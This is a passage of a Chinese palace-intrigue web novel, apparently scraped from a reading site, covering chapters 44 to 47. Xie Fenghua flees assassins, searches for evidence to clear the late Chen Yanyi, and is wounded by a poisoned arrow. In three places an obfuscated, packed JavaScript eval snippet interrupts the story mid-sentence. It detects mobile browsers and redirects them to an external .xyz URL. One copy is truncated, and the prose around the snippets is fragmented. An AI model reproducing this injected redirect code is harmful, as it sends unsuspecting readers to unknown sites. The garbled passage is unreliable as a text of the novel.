谢逢华想了想，试探道：“不会是容祭酒罢？” “与她又有什么关系——其实也有点关系，但是……”段恒挠头，“我曾受过五殿下庇佑，也曾与五殿下共过事，但彼时我只是个无名小卒，岂敢肖想五殿下……” 谢逢华觉得奇怪：“那还能是谁？” “你不认得，就算认得，你也不曾见过。”段恒摆手，冷漠打消谢逢华那些奇怪的念头，“她死了。” 谢逢华：“……” 默了会儿，谢逢华道：“抱歉。” “我早就放下了。”段恒笑了下，语气骤然变得轻松，“她不知我爱慕，我亦不求她回应，也算成全了彼此。” 谢逢华绞尽脑汁，却怎么也想不通：“喜欢一个人，却不曾被那人知晓，就此错过，岂非遗憾？” “该怎么跟你解释呢……”段恒思索片刻，道，“许是为了那份‘体面’罢。” 亦如周其卿追求谢逢华，人尽皆知，可最后却闹得两方难堪，不得不潦草收场。 “其实你也倾慕世子罢。”段恒道，“可你为何迟迟不予他回应？是不想，还是不敢？” 谢逢华垂眸，望着婆娑树影发怔。 火炉中的火烧得太过旺盛，反让人心生畏惧。 谢逢华何尝不想如兄嫂般光明磊落地相伴彼此，可她背负的太多，愧疚太过，于是心底越发胆怯。 虽嘴上厌恶他年纪尚小，可若周其卿当真愿意做出改变，谢逢华也并非完全不肯陪伴他这一段路。 “或许……他只是一时上头，倘若他厌倦了，回望过去，我也不过是个可有可无，甚至是阻碍他前程的……与其结局注定如此，倒不如一开始便不要相见。” 段恒：“这不还是见了吗？” 谢逢华：“那只是意外。” 段恒：“你敢对天发誓，你对他，只是纯粹利用吗？” 谢逢华语无伦次地狡辩着，说到最后，却越发显得欲盖弥彰，只好悻悻闭了嘴。 段恒被她置气的模样逗笑了：“谢娘子，论感情，你当真不如周世子清清白白。” 绕来绕去，结果把自己困在方阵中，手忙脚乱，甚是窘迫。 “他也不清白。”谢逢华嘟哝。 月色朦胧，周遭越发寒凉。 太学外传来一阵骚动，旋即，容舟的身影出现在二人视线内。 她衣裳华美，眉眼间隐隐藏着些许倦意，一边听学官汇报明日的行程，一边朝着廨舍走。 待容舟走远，二人这才从竹影中现出身形。 “看来席散了。”段恒道，“我们也快些回去罢。” 谢逢华压低帽檐，壮着胆子朝太学门外张望。 “那些人好像离开了。”谢逢华松了口气。 “无功而返，怕是不会善罢甘休。”段恒道，“我先送你回明府。” 谢逢华推脱：“我自己也可以。” “你是女子，手无寸铁，又不常习武，他们必定选你下手。”段恒拍拍胸脯，自信道，“君子六艺，鄙人虽称不上文武双全，却也是略懂一些拳脚的。” 对方身披软甲，手执利刃，俨然有备而来。 就算搭上十个段恒，怕是还不够祭刀的。 但谢逢华确实不大想莫名其妙横死街头。 “那好罢。”谢逢华将帷帽还给他。 “你戴着，”段恒道，“他们的目标是你。” 回府的路上心惊胆战，生怕从某个乌漆嘛黑的角落窜出一堆持刀汉子，三两下将他们砍得七零八落。 直到临近明府，二人双双松了口气。 谢逢华瞧着他紧张兮兮的模样，忍不住笑道：“原来你也怕啊。” “那必然是怕的。”段恒抚着起伏的胸口，心有余悸，“出师未半而崩殂，那未必太冤了些。” 谢逢华道：“后悔吗？” “后悔也来不及了。”段恒摆手，“走一步算一步罢。” 话音未落，巷外猝然一阵急促的脚步声。 似笃定谢段二人就在附近，他们齐聚一隅，又很快如散沙四散开来，盘踞在明府四周。 “怎么这么快就追上来了。”段恒暗骂几句，焦头烂额，“如今该怎么办？” 此时已过二更天，巷外尚有不肯归家的散客游荡，暂时分散了那些人的注意。 谢逢华紧紧盯着明府外的家仆，道：“再等等。” “等什么？” “嫂嫂还没回来。”谢逢华目测距离，压低帽檐，“估计很快就回来了。” 言毕，两辆马车轰轰烈烈驶入视野里，浩浩荡荡停在明府外。 看清马车样式，段恒一把拽住谢逢华，“后面的是长公主的马车。” 谢逢华怔住：“什么？” 段恒指了指车厢上繁冗的流苏饰品，道：“那是长公主马车上才配用的琉璃穗。” 正说着，马车上接连下来一两人。 旋即，马车移走，彻底暴露二人的样貌。 谢逢华收回视线，喃喃道：“他们为什么会来……” 明玥与长公主说了几句话，便引着长公主和世子入了正厅。 而那些暗卫却仍没有轻易离开的意思。 “怎么办？”段恒道，“这里并非长久容身之地，不出半炷香，他们就能找到我们。” 谢逢华略加思索，道：“法子倒是有，不过……就看你我愿不愿意豁出去了。” “……” 母亲与明家主说了什么，周其卿已不大能听得进去。 自踏入明府起，心中便忐忑不安。 母亲压在身前，周其卿不敢四下张望，只能用余光偷偷扫视着来往家仆，琢磨着谢逢华所居院落在哪里。 “听闻谢学监染病，本宫特意从宫中拨了些上好的药材送来，权当感谢谢娘子平日对卿儿的护佑。” 容妙凝与明玥客套，话里话外想见谢逢华一面。 虽不知这对母子葫芦里卖的什么药，明玥总归不好抚了长公主的面，推脱几句，便让派下人去请谢逢华。 “不必。”容妙凝起身，“本宫亲自去探一眼。” “哎……” 明玥朝身边人使了个眼神，家仆会意，朝着另一方向而去。 一轮残月悬空，照得院中凄凄，屋内昏暗，窥不见半分生气。 “想必小妹早早歇下了。”谢怀世出言，“时候也不早了，两位贵人便早些回去罢。” 容妙凝看向周其卿，似在征询他的意见。 周其卿怔怔望着那扇虚掩的门扉。 究竟是已歇下，还是尚未归来，周其卿不得而知。 无论何种原因，无疑是在告知周其卿——谢逢华不愿见他。 自此之后，也不会再见他了。 良久，周其卿施礼：“抱歉，今夜多有叨扰，还请明家主替晚辈向谢娘子……道歉。” 夜色沉沉，屋外逐渐沉寂下来。 谢逢华重重松了口气，从床上翻下，点燃了烛火。 段恒从屏风后探头：“走了？” 谢逢华“嗯”了声，道：“方才翻墙翻得急，您没摔伤罢？” “擦破了点皮，不碍事。”段恒掸去身上拂尘，接过谢逢华递来的茶水，一饮而尽。 谢逢华锁好门窗，坐在段恒对面，“待兄嫂睡下，你再离开罢。” 恢复了些力气，段恒道：“方才真是惊险，但凡再慢一步，你我的清誉可就交代在这里了。” 谢逢华笑笑：“先前周世子总爱翻墙来寻我，我怕他上蹿下跳再摔伤腿脚，便备了后门的钥匙，又在后门安排了人。没成想，世子没用上几次，反而无意间救了你我。” 段恒：“为何翻墙寻你？” 谢逢华： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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况且周其卿又不是痴傻，不当面拆穿她，已是给了二人彼此体面。 寒风拂过，周其卿轻吐出一口气，道：“说完了？” 谢逢华默了下，道：“世子是特意来寻我的。” “是。”周其卿道，“你多日称病，我有些担心。” 谢逢华点头：“托世子的福，现在已好全了。” 周其卿：“听说明家正在为你择亲，我顺路来瞧瞧，你那该死的夫君是何种模样？” 谢逢华扯笑：“比不上世子一表人才，是个人就行。” “谢！逢！华！” 周其卿咬牙切齿：“我到底那里比不上那个段恒？” “没有比不上，世子也无需和任何人比较。” 谢逢华绞着手指，慢吞吞道：“世子您很好，是我胆小，不想因我牵连世子。” 周其卿愣了瞬，不可置信地看着她。 见她沉默，周其卿道：“有人威胁你是吗？你告诉我，我去杀了他。” 那你怕是要背一辈子杀父的骂名喽。 谢逢华悻悻地想。 脑海中蓦然忆起段恒那番话，谢逢华下定决心，道：“和你没关系，最好以后也别缠上关系。” “你……” 对上她微红的眼眶，周其卿倏然没了主意，慌乱地想去抱她，却被她侧身避开。 谢逢华转身背对他，道：“周其卿，你就当我是块捂不热的石头罢。” 只有这样，才能保全你我。 若结局必须要牺牲某一方，谢逢华宁愿奈何桥畔只有自己一人。 — 周其卿走了。 离开时悄无声息，连清风都未曾惊动。 是谢逢华一步步诱引，让名动京城的戏子爱上了她。 亦是她亲手拆毁了戏台，只为将戏子摘出棋局之外，自己了无牵挂地奔向未知的迷局。 当初若知他情深，谢逢华一开始就不会选择他。 如今闹得狼狈收场，算不算自食恶果？ 夜深露重，凝在双颊湿凉。 谢逢华用衣袖擦拭，却怎么也擦不干。 她许是病了罢，竟也会觉得心中空落。 45. 第 45 章 墨九伏在树荫中，屏息静气，观察着三人的一举一动。 待周其卿离开，墨九俯身跃下，抽刀蹑足，朝那扇缓缓合拢的木门奔去。 距离几步远的地方，墨九忽然刹住脚步，僵在原地。 脖颈湿凉，呼吸间，血腥气格外浓重。 他眼睁睁看着那扇狭窄的木门闭合，却一动不敢动。 “谁派你们来的。” 这声音…… 墨九心下一沉，握紧了刀柄。 周其卿显然没料到他会反击，很快回过神，抬剑迎上他的攻击。 刀光剑影，刀刃迸射火花。 墨九也没料到，传闻中不务正业花天酒地的世子，竟连眼也不眨一下，几步虚影，生生化了他的杀招。 怎么会…… 眼前一道白光闪过，寒气贯穿胸口，迸出满地血花。 墨九死死握住胸前白刃，满脸的不敢置信。 意识最后，是苍茫大地和缓缓流淌的血河，以及少年烦躁地轻啧。 “香囊弄脏了。” 容妙凝看了看地上死透的尸体，又看向擦拭香囊的周其卿，有些头疼：“你把人杀了？” “他们这种死侍，完不成任务，就算我不杀，他们也会有千百种法子自尽。”周其卿捧着染血的香囊，厌恶地皱了皱眉。 容妙凝朝身边的侍女递去一个眼神，侍女上前，在尸体身上翻找一阵，禀报道：“殿下，什么都没有。” 容妙凝应了声，留下句“处理干净”，便回了马车里。 周其卿跟着钻进车厢，道：“是父亲派来的人。” 容妙凝坦然：“是。” “他们的目标是谢娘子。” “或许罢。”容妙凝一副事不关己的模样，轻描淡写道，“你与谢娘子说清了吗？” 周其卿哑了火，掌心死死攥着那枚染血的香囊。 情窦初开的年纪最是执着于眼前，容妙凝亦是过来人，又何尝猜不出他的心思。 负心汉生出痴情种，真心最易被辜负，两全其美说得好听，可人间千百年，又有谁保证一颗真心亘古不变。 想必再过上几年，他自然就想通了罢。 容妙凝无声苦笑。 “去见见那位千金罢。”容妙凝按了按眉心，语态间尽是倦怠，“到时择良辰吉日，早日完婚，先成家再立业，也算了却为娘的一番苦心。” “可——” “周其卿。” 容妙凝唤他全名，这是她耐心耗尽的先兆。 “就算你父亲真要杀了谢逢华，以现在的你，又能帮上她几分？” 无论谢逢华与周惕守有何纠葛，那都不是她利用周其卿的理由。 敢算计到容家头上，谢逢华又有几条命承受容妙凝的怒火。 窥见容妙凝面上一闪而过的狠辣，周其卿欲言又止。 母亲说的没错，他帮不上忙，不能平白拖累了谢逢华。 可…… 他也想为谢逢华做些什么。 — 虽对外称因病休养，可对于谢逢华来讲，却与禁足无异。 院里院外都有持刀家仆把手，就连在朝中做闲官的明玹也时不时来凑个热闹，嘲笑她几句。 谢逢华全都置之不理。 谢逢华整日不是看书就是被明玥压着看账本，或者牵着黄米绕着庭院漫无目的瞎溜达。 偶尔心血来潮，翻出几块碎布，缝制些消磨日头的小玩意。 尚未出阁便是如此，那些囚困高墙中的贵妇人们日子又该有多无聊。 人憋久了总是要憋出些毛病的。 与外界失联许久，谢逢华也耐不住心了。 这日，有媒人上门来说亲。 明玥尚在前厅待客，谢逢华在房中燃了一摞旧书，在家仆叫喊扑火时，趁乱翻墙跑了。 这场火谢逢华已计划多日，从燃烧用量到扑灭烟火多需时间，事无巨细，谢逢华在梦中就已演算过无数遍。 以至于明府觉察到谢逢华逃跑时，谢逢华人已经跑到了段家门前。 “谁啊。” 段恒打着哈欠，揉着惺忪睡眼，开了门。 谢逢华摘下面纱：“是我。” 段恒见到她颇为意外，而听了谢逢华这些天的遭遇后，眼中的震惊化为同情。 言到最后，段恒竖起拇指：“谢娘子果真有勇有谋。” 谢逢华苦笑：“我躲不了太久，过不了两个时辰，明家就能找到这里。” 谢逢华灰头土脸的模样逗笑了段恒，“你就这么怕嫁人？” 谢逢华摇头。 疲惫如重担，压弯了她的脊梁。 年纪轻轻，鬓发间却多了几丝苍白。 早在当年谢逢华提出翻案时，段恒就是拒绝的。 这种明争暗斗你死我活的争斗，又岂是谢逢华一个女子所能抗衡的。 段恒执意独揽责任，可谢逢华不肯，软硬兼施，甚至不惜以死相逼。 “后悔吗？”段恒问道。 谢逢华掀了掀眼皮，不假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533641|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思索：“为何后悔？” 既从一开始就选择这条路，谢逢华就已预想到日后的坎坷甚至是死亡。 纵使过去一年有余，谢逢华好似依旧被困于那场风火中。 闭上眼，烈火死而复燃，风火飘摇中，陈言意坚定将信匣交给她：“活下去。” 说罢，又是一阵烈火爆燃，吞噬了一缕伶仃魂魄…… 谢逢华猛地睁开了眼。 她拿得起誓言，却放不下兄长和嫂嫂。 有时午夜梦回，谢逢华一遍遍翻看那些信件，反复提醒自己不要忘却过往，念着念着，便忍不住哭泣。 陈言意抛却一切慷慨赴死，独留谢逢华日日夜夜睹物思人，一次次对着白纸黑字绞痛心脏，第二日却依旧装作无事般照常生活。 有时谢逢华也会想，若当年她没有接济陈家，或许这一切就不会轮到她。 她现在也许还在田间地垄耕作，在某户人家中相夫教子…… 谢逢华趴在桌上，闷声闷气地说：“若没有陈先生，我不曾真正知晓天地人间，万物生灵。只怕如今正守着一方土天，碌碌终生。” 谢逢华明明有机会将一切真相付之一炬，却还是冒着风险跑到华京，选择了一条近乎于必死的道路。 段恒推来一盏茶：“所以接下来该如何？” 成亲无疑是将一家无辜人拉下水，可不成亲，兄嫂这边没法交代，他们势必会将谢逢华送回阳城。 一瞬间，谢逢华茫然无措。 “要不……”段恒小心翼翼，“咱俩试试？” 谢逢华：“？” 谢逢华伸手探了探他的额头，奇怪道：“没病说什么胡话。” 段恒拂开她的手，压在桌上。 “谢娘子，在下是为家中独子，上有七旬父母，下无子嗣，左右邻里无旁依，你我皆知根知底，待风头过去，我们再和离，纵使日后事情败露，也绝不会连累任何一个无辜的人。” 段恒神态认真笃定，字字真诚。 意识到他并非说笑，谢逢华敛了几分笑意，默然将手从他手下抽出。 “周惕守既敢派暗卫索我们的命，定然是有所觉察。”谢逢华道，“成亲只是缓兵之计，这一次躲过了，还有下一次，如此步步紧逼，迟早要入了周惕守的圈套。” 段恒怔愣，如泄了气般，颓然靠在椅背上。 “其实段大人也不必如此焦虑。” 门外传来男女交谈声，谢逢华重新戴好面纱，“我倒是觉得，越是混乱时，反而越有转机。” 46. 第 46 章 明府的人在寻她。 谢逢华时不时回头望，一路提心吊胆，东躲西藏，总算避开了那些人的追捕。 此举若不成，以兄嫂的性子，恐怕谢逢华只能收拾包袱回乡了。 谢逢华正了正面纱，瞄准平地，从树上一跃而下。 好在幼时登高爬梯的底子还在，爬树翻墙对她来说倒也不是难事。 谢逢华拍拍身上灰土，四下环顾。 院落四方规整，植丛稀疏寥落，唯有角落一棵寒梅孑然傲立。 寒风簌簌，冻的谢逢华忍不住打了个寒颤。 段恒说，陈元邑夫妇每月固定日子都会出远门探亲老，这段日子便都是陈言意打理着。 后来为行方便，陈元邑又在院中置建了一间偏房，陈言意故去后，这间屋子便落了锁，空置许久。 谢逢华拂去铜锁上的尘土，观察片刻，摘下耳坠，将弯曲部分掰直，随后捅入锁孔中。 拨弄几下，只听细微的“咔哒”一声响，锁便开了。 残阳迈入这栋封尘许久的房屋，迎面而来的是潮湿的腐败气息。 窗子皆用木板封死，房间内灰压压一片，四下旷然，唯有空荡荡的床榻和一套桌椅而已。 都搬空了？ 谢逢华不死心地寻了一圈，依旧是无功而返。 陈言意生前的书籍用具大多在那次变故中付之一炬，可陈言意如此细心的人，又怎会半点退路都不留？ 信匣中交代有部分物证存于陈元邑家中，是连陈元邑本人都不知晓的存在。 可这房间内空空荡荡，别说账本，就连一张纸都瞧不见，谢逢华哪里能找得到信中所写的“自陈书”？ 谢逢华退出房间，重新将门锁好。 正想着去旁的房屋探探，忽听门外传来马车嘶鸣，旋即，段恒的声音从院外传来。 “出什么事了？” 陈元邑从马车上下来，风尘仆仆，连衣冠也来不及收拾，穿过院落，大步朝书房走去。 段恒紧随其后，追问缘由。 前脚刚送走谢逢华，后脚陈元邑就找上了门，二话不说就把他拽上了马车，这一路一句话也不说，急得段恒恨不得当场从马车上跳下去。 入了书房，陈元邑解了披风，看了眼段恒，道：“把门关上。” “到底出什么事了？” 陈元邑从随身包袱中取出一封信，递给他：“你自己看。” 封条撕裂，俨然陈元邑已经瞧过。 段恒狐疑展信，粗粗阅过信纸，惊诧之余，又多了几分陈元邑看不懂的情绪。 “这是……寿安公主的遗书？大人是从哪里得来的？”段恒问道。 “我在书匣底下发现的。”陈元邑揉着眉心，“若如信中所言，当年言意的猜测便说的通了。” 当年寿安公主不堪流言，悬梁自尽，陈言意直觉其中诡异，暗中调查过几日，后又逢科考舞弊等要事，不得不搁置下来。 而在科考舞弊案之后，陈言意忽然上书，弹劾当朝宰相周惕守，以谋害皇室，结党营私等罪名欲将其置于死地。 此谏言一出，全朝堂无不为之震惊。 可胳膊哪里拧得过大腿，即便周惕守再不得民心，那也是自夺嫡时便为皇帝效忠的谋臣，又岂是一个没有家世的文臣所能撼动的。 结果自然可想而知。 这场死谏以证人服毒自尽而告败。 因诬告当朝宰相，陈言意被下诏狱，留待秋后问斩。 皇帝念在他往昔忠心赤诚，法外开恩保了他一命，只将他贬去偏远之地，无召不得回京。 当陈言意畏罪自尽的风声传遍宫城，人人为之震惊，人人为之叹惋。 他们感慨着年少才俊却误入歧途，段恒却无数次地回想，若那时有一人愿与陈言意一道同行，陈言意何至于尸骨无存之死地。 现如今，他们欠陈言意的，竟是如何也还不清了。 段恒道：“寿安公主自杀事大，仅凭一封不知真假的遗书，只怕是难以服众。” 有了同盟，此时陈元邑亦冷静下来，重拾遗书细细阅过，问道：“你与公主有过来往，依你之见，这遗书字迹可是出自公主本人之手？” 段恒垂目，望着白纸黑字，指甲死死嵌入掌心中，“是寿安的字迹。” 这封遗书为何会送到陈元邑手中？莫非是谢逢华—— 砰砰砰！ 急促的敲门声骤然打破寂静。 陈元邑与段恒对视一眼，段恒将信折了几折，压在书下，而后随陈元邑一同朝屋外走去。 开门，竟是容舟。 “二位先生。”一袭冬裘裹着热汗，容舟气息紊乱，眸中急促呼之欲出。 她朝二人行礼：“先生可曾见过谢娘子？” 段恒心头一紧，看向陈元邑。 “谢娘子？”陈元邑蹙眉，满头雾水，“她怎么了？” “还不是先前闹出来的那些事。”段恒接话道，“明家为谢娘子寻觅良婿，偏偏谢娘子不愿嫁人，这一来二去就起了争执。听说如今谢娘子被软禁在府，若再执意如此，恐怕不日就要送回阳城了。” 容舟道：“是了，方才我见明府家仆，一问才知谢娘子竟引火烧屋，趁乱逃出了明府，眼见着入夜，明家主都急昏了头，只怕出个三长两短。” 华京城说大不大，要找个人却也不是件易事。 虽说事出有因，但事情闹大了反而更令人棘手。 可谢逢华临走时也并没未告知去向，即便段恒说了，也只是徒增旁人疑心。 这边段恒仍在犹豫，另一边容舟告辞了陈元邑，前往太学寻人。 “不去帮忙吗？”段恒问道。 “旁人家事，与我无关。”陈元邑说着，转身朝屋内走。 “小娘子孤身一人走在街上最会遭歹人惦记。”段恒劝道，“要不您也派几个人帮忙找找？” 似乎觉得他说的有几分道理，陈元邑脚下一顿，侧目：“你既如此关照谢娘子，那便派你去寻人罢。” 撂下话，不管身后段恒如何在风中凌乱，陈元邑跨过门槛，门一合，此事便与他再无半分关系。 待房中重归平静，陈元邑点燃烛火，小心将遗书从厚重的书本下翻出。 借着明灭不定的烛光，陈元邑眸色深沉，墨黑的字迹模糊糅合，在灯火灼烧下，宛若那栋岌岌可危的府邸，崩坏倾塌，化作一摊毫无生机的灰土。 死人最是会保守秘密的。 可总有人想撬开死人的口。 陈元邑捻了捻指尖，看向门边的不速之客。 “是你送的信。” 谢逢华抱臂，视线落在他指尖的灰白，几不可察地笑了笑：“这可是翻案的关键，就这么烧了，岂不是可惜？” “赝品而已。”陈元邑道，“谢娘子不回家，来我这寒舍做什么。” “找个东西。”谢逢华双肩微耸，面露几分无奈，“不过没找到就是了。” 陈元邑合掩门窗，而后落座，却无半分斟茶迎客之意。 “我这里没有你想要的东西。”陈元邑态度冷硬，令人望而生畏，“趁着天色尚明，谢娘子还是尽快回家报平安罢。” 谢逢华不退反进，“我尚未说明，陈大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533642|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就急着赶我走吗？” 似觉察到来者不善，那双鹰似的眼眸死死盯着她，好似要将她拆吃入腹。 “你想知道什么。” “陈先生生前的文书藏哪里了？” “烧了。”陈元邑语气平平，听不出情绪。 谢逢华秉持质疑态度：“陈先生死的不明不白，你难道没有半分怀疑吗？” “陈言意惑乱朝纲，证据确凿，有何不清白？”陈元邑话锋一转，“倒是你，这些天形迹可疑，话里话外为陈言意陈白，就不怕引火上身，殃及池鱼吗？” 这话明里暗里都有几分告诫的意思，谢逢华看在眼里，理解之余，却是无力。 刚直固然可贵，可又有几人愿为了看不见前路的命运赴汤蹈火呢。 “罢了。”谢逢华堪堪扫了眼四周，无奈一笑，抬手施礼，“今日事出有因，多有叨扰，还望大人海涵。” 陈元邑看着她，没说话。 谢逢华深吸一口气，像是下定决心，转身朝外走去。 前脚踏出门槛，一缕回忆浮现脑海。 谢逢华顿了顿，侧目：“令郎近日可还安好？” 陈元邑抬眸，淡淡道：“一切如旧。” 谢逢华颔首：“有劳大人了。” 说罢，随着一声乌鸦哀啼，谢逢华的身影隐入夜色。 陈元邑望着那道身影，久久无言。 — 谢逢华揣着心事走了几里路，良久回过神，这才发觉两手空空，夜色蔓延，她竟连一盏明灯都无。 一不留神便走串了路，乌云蔽月，四周寂静，偶有寒风呼号，凄凄切切。 谢逢华倒是不怕黑，只是身后时不时传来窸窸窣窣的脚步声，实在令人心慌。 夜色蒙不住下作之人的眼睛，谢逢华下意识探向发髻，却落了空。 怎么就今日忘记带了…… 谢逢华懊恼着，不由得加快了脚步。 谢逢华不确定身后之人是登徒子还是刺客，若是前者还好说，跑得快倒是也能甩开。 可若不幸遇到后者，谢逢华只能凭着对附近地形的了解，尽量将那杀手甩的远一些。 谢逢华三步一回头，黑茫茫中，一道寒光乍隐乍现，无疑印证了最糟糕的猜想。 若还是没寻到出路，谢逢华怕只能命丧于此了。 谢逢华心中苦哈哈设想着死状，脚下已由疾走变为快跑。 那人亦有所觉察。 窄巷之中，脚步声越发杂乱。 情急之下，双腿亦被抽去力气，谢逢华脚下不察，身形一晃，重重跌倒在地。 真是忙中出错！ 顾不得双膝磨痛，谢逢华立刻翻身爬起，踉踉跄跄想继续向前走。 咻！ 伴随一阵短促的破空声，短箭擦过裙摆，重重嵌入脚下的地砖中。 突如其来的暗箭使谢逢华下意识顿足。 咻！ 又是一阵破空声。 谢逢华下意识想躲，却又不知暗箭何处而来，不慎分心。 一股巨大的力道自肩膀推来，携着肃杀的冷风，将谢逢华整个人推到在地。 肩膀骤然传来剧痛，旋即，衣下温热缓缓流淌，谢逢华眼前黑白交织，冷汗瞬间浸透了衣衫。 谢逢华尝试几番，四肢沉甸甸像坠了石块，寸步难行。 身后的脚步声由远及近。 谢逢华捂着温湿的箭柄，重重喘着气。 意识浮沉中，眼前忽然浮现出周其卿的身影。 他自光明处向她走来，由远及近，接住了她摇摇欲坠的魂魄。 47. 第 47 章 得知谢逢华失踪的消息时，周其卿刚刚从太师府中“逃”出。 甫一出府，宫城内传来急报，说是有关边塞要事。 听闻连同周惕守在内的几位重臣也被急召入宫了，容妙凝顾不得斥责周其卿方才的失礼，急匆匆朝着宫中去了。 周其卿不愿面对府中人或暧昧或怜悯的目光，遂无聊在街上闲逛。 许多日未见过谢逢华了，近来也没有她的消息，不知是幸还是祸。 周其卿惦念着，脚下顷刻站定。 抬头，“明府”的匾额明晃晃摆在眼前。 怎么走到这里来了…… 周其卿莫名有些慌乱，下意识逡巡四周，直到确认无人在意他耳畔的灼热，悄悄松了口气。 正欲离开，面前大门忽而大开，从内乌泱泱钻出一群家仆，他们各个神色惊慌，犹如鲤鱼过江，四散而逃。 周其卿手快抓住一人：“出什么事了？” 看清来人，那家仆面露惶恐，匆忙跪倒在地：“见见见过世子。” 周其卿威压在上，那家仆哪敢再隐瞒，只得将后院走水的事一五一十的说了。 “……火倒是灭了，可谢娘子却凭空消失，府中上下皆寻遍了，就是不见谢娘子踪影，家主便派小的们到外面找找。” 听到“谢逢华失踪”时，周其卿脑中一片空白。 不知为何，周其卿竟联想到那日的刺杀。 莫非又是周惕守？ 周其卿不敢再想。 当务之急，是先找到谢逢华，以确保她的安危。 明府、国子监、太学……凡是能想到的地方，周其卿皆一一踏过。 不知不觉间，天色垂暮。 饶是严寒肃杀，汗水依旧浸透了锦衣。 随着天色骤暗，魂灵深处，似隐隐有根弦即将崩断。 咻！ 利箭破空，撕裂阴云。 月色朦胧，照亮窄巷中那道摇摇欲坠的身影。 “谢逢华！” 怀中的身体抖如筛糠，周其卿想按住汩汩冒血的伤口，却又在她倒吸冷气时瞬间松了手。 “我……我没事……”霜白月光泄了她满身，反衬的肤色越发惨白。 谢逢华头抵在他胸口，扯了扯毫无血色的唇角，有气无力：“没想到啊……竟是你先寻到了我……” “别说话。”周其卿横打将人抱起，朝着最近的医馆奔去。 他走的急，步伐却稳。 谢逢华在他怀中，几乎感受不到颠簸。 亦或是……已感受不到痛苦了。 谢逢华强撑起眼皮，怔怔望着他的侧颜。 她抬起血淋淋的手，拂过周其卿眼尾的薄红：“你哭了吗？” 周其卿微微抿了下唇，喉咙疼如刀割：“我恨你。” 谢逢华低低笑出了声：“这么记仇啊。” “嗯，我一向是有仇必报。” “……” 谢逢华想安慰他，眼皮却越来越沉重，麻木之后，翻江倒海的困意一阵阵吞噬着理智。 谢逢华微微抬眸，道：“你该恨我的。” “没人会爱一个利用自己的人。” “你若因此能多看我一眼，便当我自甘堕落罢。” 周其卿将她放在病榻上，俯身在她半阖的眼眸上轻落一吻。 “别睡，小爷可不喜欢冷冰冰的尸体。” — 谢逢华不知道自己睡了多久。 醒来时，一缕晴朗日光透过帷幔，晒得身体暖烘。 好似开颅抽去了许多记忆，关于昏迷前的种种，谢逢华记不得分毫，反而越发头疼欲裂。 谢逢华便也不再去想。 窗外有人低声攀谈，时有啜泣，时有叹息。 谢逢华静静听了一会儿，张口，只有几丝微弱的气流从嗓中泄出。 想闹出些动静，四肢沉重如铁石，动弹不得。 谢逢华放弃了，安安静静盯着房梁发呆。 “吱呀”一声，门开了。 脚步声由远及近，谢逢华扭头望去，直对上一双布满血丝的双目。 “应时？” 谢逢华张了张口：“渴。” 谢怀世倒了碗温水，将谢逢华从被褥中捞出，坐在床榻旁，让她以更舒服的姿势靠在自己身上。 谢逢华就势抿了几口水，润了喉，倒是恢复了些力气。 “饿不饿？” 谢逢华摇头，道：“我昏迷了多久？” 谢怀世掖了掖被角，“整整七日。” 其实正常中箭，在避开命脉的情形下，三两日自然就能转醒。 谢逢华的箭伤并不致命，偏偏那箭矢上抹了毒，治病的大夫换了好几批，全华京能用的药材几乎试了个遍，才堪堪清除了身体里的毒素。 “若非周世子在其中调度，恐怕……”谢怀世长舒一口气，“还好你醒了。” “他呢？”谢逢华问道。 “你昏迷这段日子，世子几乎寸步不离，昨日周家派人传话，说长公主病倒了，世子这才肯离开。” 说着，谢怀世自嘲般笑笑：“先找到你的是他，救命的也是他……比起我们，他倒是更像你的家人。” 谢逢华静静看着他自言自语，目光有些空洞。 谢怀世将她冰凉的手塞回被褥中，“那日你去哪了？” 谢逢华垂眸避开他的目光，在坦白和编瞎话中犹豫不决。 “事到如今，你还想瞒我吗？” 谢逢华眼底的迟疑到底没能逃过他的眼睛，谢怀世有些愠怒，“谢逢华，你知不知道，因为你闹的这一出，你嫂嫂险些被你吓得小产！” 嫂嫂有孩子了？ 谢逢华一瞬欣喜，可只是刹那，眼中的光耀又化为黯淡灰雾，沉甸甸压在心头。 前有周惕守追杀，后有兄嫂劝返。现如今，说与不说，都改变不了如今进退两难的境况。 谢逢华闭上眼，谢怀世轻若鸿毛的叹息钻入耳中，眼前却又浮现出当年那场风火。 “陈大人，根本没有走出阳城。” 谢怀世起身的动作一滞，“什么？” 谢逢华睁开眼，呆呆的目光望向头顶的悬梁，似说与他听，又似喃喃自语：“陈言意，是被逼死的。” 周其卿没说错，谢逢华是个招摇撞骗的骗子。 踏出阳城那刻起，谢逢华所说的每一句话，都是她重复了千万遍的谎言。 或许从一开始，段恒就怀疑她的来历。 可谢逢华只是说一句“承恩师情”，他们便轻易地信了。 或许陈言意在他们眼中，他本就是普度苍生的善人，是救危济贫的好官。 可但凡翻翻天象书，便也能知晓，明嘉二十四年的秋天，根本没有救命的及时雨。 